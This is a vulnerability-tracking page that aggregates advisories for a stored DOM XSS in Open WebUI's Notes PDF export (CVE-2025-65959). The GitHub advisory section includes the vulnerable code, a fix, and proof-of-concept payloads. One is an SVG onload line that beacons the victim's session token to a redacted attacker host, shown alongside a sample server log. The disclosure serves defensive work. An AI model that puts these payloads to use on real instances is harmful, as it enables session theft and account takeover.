Open WebUI vulnerable to Stored DOM XSS via Note 'Download PDF'
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2025-65959
PublishedOpen WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.6.37, a Stored XSS vulnerability was discovered in Open-WebUI's Notes PDF download functionality. An attacker can import a Markdown file containing malicious SVG tags into Notes, allowing them to execute arbitrary JavaScript code and steal session tokens when a victim downloads the note as PDF. This vulnerability can be exploited by any authenticated user, and unauthenticated external attackers can steal session tokens from users (both admin and regular users) by sharing specially crafted markdown files. This vulnerability is fixed in 0.6.37.
- Source published
- 4 Dec 2025 20:46:36 UTC
- Source modified
- 5 Dec 2025 17:16:56 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · 8.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
euvd · EUVD-2025-201263
PublishedOpen WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.6.37, a Stored XSS vulnerability was discovered in Open-WebUI's Notes PDF download functionality. An attacker can import a Markdown file containing malicious SVG tags into Notes, allowing them to execute arbitrary JavaScript code and steal session tokens when a victim downloads the note as PDF. This vulnerability can be exploited by any authenticated user, and unauthenticated external attackers can steal session tokens from users (both admin and regular users) by sharing specially crafted markdown files. This vulnerability is fixed in 0.6.37.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Dec 4, 2025, 8:46:36 PM
dateUpdated: Dec 5, 2025, 5:16:56 PM
- Source published
- Dec 4, 2025, 8:46:36 PM (timezone not stated)
- Source modified
- Dec 5, 2025, 5:16:56 PM (timezone not stated)
- Observed here
- 9 Nov 2026 04:08:32 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 3.1 · 8.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
nvd · CVE-2025-65959
PublishedOpen WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.6.37, a Stored XSS vulnerability was discovered in Open-WebUI's Notes PDF download functionality. An attacker can import a Markdown file containing malicious SVG tags into Notes, allowing them to execute arbitrary JavaScript code and steal session tokens when a victim downloads the note as PDF. This vulnerability can be exploited by any authenticated user, and unauthenticated external attackers can steal session tokens from users (both admin and regular users) by sharing specially crafted markdown files. This vulnerability is fixed in 0.6.37.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Analyzed
Weakness classifications: CWE-79
Original publisher date fields
published: 2025-12-04T21:16:08.970
lastModified: 2026-10-18T15:10:00.097
1 source CPE criteria · context only
- cpe:2.3:a:openwebui:open_webui:*:*:*:*:*:*:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 4 Dec 2025 21:16:08 UTC
- Source modified
- 18 Oct 2026 15:10:00 UTC
- Observed here
- 25 Oct 2026 03:17:36 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · [email protected] · Secondary · 8.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
CVSS 3.1 · [email protected] · Primary · 5.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
osv · GHSA-8wvc-869r-xfqf
Published## Summary A **Stored XSS vulnerability** has been discovered in Open-WebUI's Notes PDF download functionality. An attacker can import a Markdown file containing malicious SVG tags into Notes, allowing them to **execute arbitrary JavaScript code** and **steal session tokens** when a victim downloads the note as PDF. This vulnerability can be exploited by **any authenticated user**, and unauthenticated external attackers can steal session tokens from users (both admin and regular users) by sharing specially crafted markdown files. ## Details ### Vulnerability Location **File:** `src/lib/components/notes/utils.ts` **Function:** `downloadPdf()` **Vulnerable Code (Line 35):** ```typescript const contentNode = document.createElement('div'); contentNode.innerHTML = html; // Direct assignment without DOMPurify sanitization node.appendChild(contentNode); document.body.appendChild(node); ``` ### Root Cause 1. **Incomplete TipTap Editor Configuration** - Open-WebUI only uses TipTap StarterKit - No Schema definition for dangerous tags like SVG, Script - Unknown HTML tags are stored as raw HTML 2. **Missing Sanitization During PDF Generation** - `note.data.content.html` is directly assigned to `innerHTML` - No DOMPurify or other sanitization - Stored malicious HTML executes as-is ## PoC ### Environment - Open-WebUI latest version (v0.6.36) - Admin account ### Step 1: Create Malicious Markdown File **Filename:** `token_stealer.md` ```markdown <svg onload="navigator.sendBeacon('https://redacted/steal',localStorage.token)"></svg> ``` > navigator.sendBeacon() was used to bypass CORS. ### Step 2: Import to Notes 1. Login to Open-WebUI 2. Click **"Notes"** in the left menu 3. **Drag and drop** the Markdown file 4. Note is automatically created ### Step 3: Trigger PDF Download 1. Access Notes menu (/notes) 2. Click **⋯** on the right side of the uploaded note 3. Select **"Download"** → **"PDF document (.pdf)"** 4. JavaScript executes ### Step 4: Verify Token Theft **Attacker's server log:** ```http POST /steal HTTP/1.1 Host: redacted Content-Type: text/plain;charset=UTF-8 Content-Length: 145 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjVkMjE4ZmU4LTU2MTktNGEzNS05MWZkLTM2MzA3NDU1NGFkNCJ9.zOicE5c5FJ3ZOc9j6T2xHU-K6dbz-s1ib_hIG4LayFw ``` ### And Simple PoC `alert(1)` **Filename:** `simple_poc.md` ```markdown <svg onload="alert(1)"></svg> ``` <img width="1089" height="310" alt="image" src="https://github.com/user-attachments/assets/ded7bb4a-d0e0-4614-8d64-3113c1f79e2f" /> --- ## Impact **CVSS 3.1 Score: 8.7 (High)** ``` CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N ``` ### Vulnerability Type **CWE-79: Cross-site Scripting (XSS)** **CWE-116: Improper Encoding or Escaping of Output** ### Affected Users - **All Open-WebUI users** - Especially users utilizing the Notes feature ### Attack Scenario ``` 1. Attacker shares malicious note (.md file) in the community 2. Victim uploads the shared note (.md file) 3. Victim downloads as PDF 4. XSS vulnerability triggers 5. Victim's session (localStorage.token) is stolen ``` --- ## Recommended Patch ```typescript // src/lib/components/notes/utils.ts:35 import DOMPurify from 'dompurify'; const contentNode = document.createElement('div'); // Sanitize with DOMPurify contentNode.innerHTML = DOMPurify.sanitize(html, { ALLOWED_TAGS: [ 'p', 'br', 'strong', 'em', 'u', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'ul', 'ol', 'li', 'a', 'code', 'pre', 'blockquote', 'table', 'thead', 'tbody', 'tr', 'td', 'th' ], ALLOWED_ATTR: ['href', 'class', 'target'], FORBID_TAGS: ['svg', 'script', 'iframe', 'object', 'embed', 'style'], FORBID_ATTR: ['onload', 'onerror', 'onclick', 'onmouseover', 'onfocus'], ALLOW_DATA_ATTR: false }); node.appendChild(contentNode); ``` --- ## References - OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html - DOMPurify: https://github.com/cure53/DOMPurify ---
- Source published
- 4 Dec 2025 22:03:24 UTC
- Source modified
- 5 Dec 2025 12:36:57 UTC
- Observed here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Publisher rating · HIGH